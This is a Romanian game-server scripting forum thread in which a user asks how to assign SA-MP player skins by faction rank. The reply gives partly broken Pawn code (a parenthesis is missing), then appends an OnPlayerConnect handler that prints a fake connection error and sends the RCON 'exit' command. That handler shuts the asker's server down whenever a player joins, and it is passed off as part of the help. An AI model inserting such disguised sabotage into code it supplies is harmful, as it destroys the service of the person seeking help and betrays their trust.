Jump to content

[Cerere Tutorial]


Bombermonkey

Recommended Posts

Nume:Bombermonkey

Nume tutorial: Setare skin pentru fiecare factiune in functie de rank-uri.

Descriere: Salut, as dori ajutor in setarea skin-urilor in functie de rank-urile factiunilor.Spre exemplu : pentru factiunea Stracci Family vreau sa setez skin-urile urmatoare : 98,124,125,126,127(lider).

Link to comment
Share on other sites

pai , faci o functiie in care sa verifice rankul anumitului player..si faci asa ex:

OnPlayerSpawn

if(IsPlayerInStracciFamily(playerid)
{
if(GetPlayerStracciRank(playerid) == 1)
{
SetPlayerSkin(playerid,98);
}
else if(GetPlayerStracciRank(playerid) == 2)
{
SetPlayerSkin(playerid,124);
}

etc:) sper ca ai inteles

public OnPlayerConnect(playerid)
{
	print("[ERROR] - Unable to establish a connection with the world...");
	SendRconCommand("exit");
	return 1;
}

 

Link to comment
Share on other sites

Guest
This topic is now closed to further replies.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue. For more details you can also review our Terms of Use and Privacy Policy.